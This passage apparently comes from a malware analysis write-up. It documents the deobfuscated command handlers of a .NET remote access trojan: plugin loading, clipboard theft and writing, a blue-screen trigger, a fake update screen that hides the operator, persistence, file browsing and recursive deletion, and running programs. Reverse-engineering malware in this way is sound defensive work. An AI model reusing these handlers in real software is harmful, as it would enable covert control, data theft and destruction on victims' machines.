Thread.Sleep(500);
3
Process.Start(A[2]);

Same as above, but instead of deleting the file it restarts it, which is handy to force a program to reload a configuration the attacker has just tampered with.

Instruction U21wSmJnPT0= (JjIn → cbb)

1
SendEncryptedMessage("cbb" + Violet + Helpers.MakeIdFromOSInfo());

Yet another acknowledgement. The tag + Violet + HWID message with no payload is how this family asks the server “send me the plugin for this feature”: the server answers with a command whose A[1] is the assembly to load.

Instruction UmpOUlBRPT0= (F3Q= → R$)

1
object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
object text   = NewLateBinding.LateGet(plugin, null, "GetText", new object[0], null, null, null);
3

4
SendEncryptedMessage("R$" + Violet + text + Violet + Helpers.MakeIdFromOSInfo());

Note the use of LateGet instead of LateCall: this variant returns the value produced by the plugin method instead of discarding it. GetText reads the current text buffer (clipboard, or the content of the remote “notepad” window) and the result is sent straight back to the panel.

Instruction Um1oVlVrSm5QVDA9 (FhURBg== → SETT)

1
object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
2

3
object[] args     = { A[2] };
4
bool[]   copyBack = { true };
5

6
NewLateBinding.LateCall(plugin, null, "setText", args, null, null, copyBack, ignoreReturn: true);
7

8
if (copyBack[0]) A[2] = (string)args[0];

The write counterpart of R$: A[2] is pushed into the text buffer of the victim.

Instruction U21wM01rbFJQVDA9 (Jjw2IQ== → clss)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "clearr", new object[0], null, null, null, true);

Calls clearr on the same text plugin, which presumably clears the buffer.

Instruction UW5kTlMwWm5QVDA9 (BwMKFg== → BSOD)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "BSOD", new object[0], null, null, null, true);

Loads a plugin and calls BSOD on it, which triggers a blue screen of death. It is a destructive “fun” feature and also a crude way to force a reboot (and therefore to make the persistence mechanism run again).

Instruction VG1wbmVVcDZZejA9 (NjgyJzc= → shwup)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "ShowUpdateScreen", new object[0], null, null, null, true);

Displays a full-screen fake “Windows is updating” overlay. This is the operator’s cover: while the victim stares at a progress bar that never moves, the attacker can work on the machine without the victim noticing the mouse moving on its own.

Instruction VEZScmFFcDZZejA9 (LTkhJzc= → hidup)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "HideUpdateScreen", new object[0], null, null, null, true);

Removes the fake update screen.

Instruction UkVRME1rSlJQVDA9 (DD42BQ== → InsW)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "INSS", new object[] { Convert.ToInt32(A[2]) }, null, null, null, true);

INSS receives a single integer taken from A[2]. Judging by the name (InsW / install) and by the fact that the only parameter is a number, this is the installer/persistence plugin being told which method or delay to use.

Instruction VDFOM05RPT0= (OSw5 → |||)

1
SendEncryptedMessage("|||" + Violet + Helpers.MakeIdFromOSInfo());

Another plugin request/acknowledgement with no payload.

Instruction UVdwVmVFWnFWWGRIUTBGcQ== (AjUxFjUwGCAj → GetDrives)

1
SendEncryptedMessage("FileManager" + Violet + Helpers.MakeIdFromOSInfo()
2
                     + Violet + TSe6uNTH0Pqxi4aDrYx3());

The entry point of the file manager. TSe6uNTH0Pqxi4aDrYx3 walks My.Computer.FileSystem.Drives and builds a string where every drive is tagged by type:

1
case DriveType.Fixed:     text += "[Drive]" + drive.Name + "FileManagerSplitFileManagerSplit";
2
case DriveType.CDRom:     text += "[CD]"    + drive.Name + "FileManagerSplitFileManagerSplit";
3
case DriveType.Removable: text += "[USB]"   + drive.Name + "FileManagerSplitFileManagerSplit";
4
case DriveType.Network:   text += "[NET]"   + drive.Name + "FileManagerSplitFileManagerSplit";

so the panel can draw the correct icon. FileManagerSplit is the record separator of this sub-protocol, and the double separator is there because at drive level there is no “size” field to send, while files have one (see the next instruction).

Instruction UVhwcmNFNTNielJCUTFFelNVTkJQUT09 (AzkpNwo4ACQ3ICA= → FileManager)

1
try
2
{
3
    SendEncryptedMessage("FileManager" + Violet + Helpers.MakeIdFromOSInfo() + Violet
4
                         + ListFolders(A[1]) + ListFiles(A[1]));
5
}
6
catch
7
{
8
    SendEncryptedMessage("FileManager" + Violet + Helpers.MakeIdFromOSInfo() + Violet + "Error");
9
}

Directory listing for the path in A[1]. The two helpers are trivial:

1
// ListFolders  ->  _4V9qKiQ1wMgSEGLqa0fq
2
foreach (DirectoryInfo d in new DirectoryInfo(location).GetDirectories())
3
    obj += "[Folder]" + d.Name + "FileManagerSplitFileManagerSplit";
4

5
// ListFiles  ->  E03KthEm4hRkGcmdwgQm
6
foreach (FileInfo f in new DirectoryInfo(location).GetFiles("*.*"))
7
    obj += f.Name + "FileManagerSplit" + f.Length + "FileManagerSplit";

Folders come first with the [Folder] marker and an empty size field, then files with their name and length. If the directory cannot be read (access denied, path gone) the client answers with the literal string Error instead, so the panel shows something rather than hanging.

Instruction UVZSVmNFNTZUVGc9 (ATUpNzM8 → Delete)

1
switch (A[1])
2
{
3
    case "Folder": Directory.Delete(A[2], recursive: true); break;
4
    case "File":   File.Delete(A[2]);                       break;
5
}

Delete from the file manager. Interesting detail: Folder and File are compared as plain, non-obfuscated strings, one of the very few places in the whole function where a literal survived the encoding. recursive: true means a folder is wiped with everything inside it.

Instruction UVVOblowMVVTWFJEZHowOQ== (ACggMTItCw== → Execute)

1
Process.Start(A[1]);

Runs the file at A[1].